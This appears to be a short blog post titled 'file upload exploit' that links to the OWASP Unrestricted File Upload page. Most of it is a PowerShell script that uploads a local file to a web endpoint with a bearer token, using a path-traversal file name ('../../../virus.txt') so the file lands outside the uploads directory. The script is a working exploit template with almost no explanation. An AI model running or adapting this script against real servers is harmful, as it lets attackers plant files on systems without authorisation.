вторник, 10 марта 2020 г.

file upload exploit

https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

  1. $url = "url/uploads";
  2. $targetFileName = "../../../virus.txt";
  3. $sourceFilePath = "C:\temp\ipaddrs.txt"
  4. $access_token = "Bearer XXXXXXXX"
  5. $file_bytes = [System.IO.File]::ReadAllBytes($sourceFilePath)
  6. [System.Net.Http.HttpClient]$httpClient = New-Object System.Net.Http.HttpClient;
  7. [System.Net.Http.MultipartFormDataContent]$form = New-Object System.Net.Http.MultipartFormDataContent;
  8. $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Accept", "application/json, text/plain, */*") | out-null
  9. $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Authorization", $access_token)  | out-null
  10. $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36")  | out-null
  11. $httpClient.DefaultRequestHeaders.TryAddWithoutValidation("Accept-Language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7") | out-null
  12. [System.Net.Http.ByteArrayContent]$byteContent = new-object System.Net.Http.ByteArrayContent([byte[]]($file_bytes), 0, $file_bytes.Length)
  13. $form.Add($byteContent, "file[]",$targetFileName)
  14. $response = [System.Net.Http.HttpResponseMessage]$response = $httpClient.PostAsync($url, $form).Result
  15. $sd = $response.Content.ReadAsStringAsync().Result
  16. $sd | fl *
  17. $httpClient.Dispose()

https://pastebin.com/apXwAwYc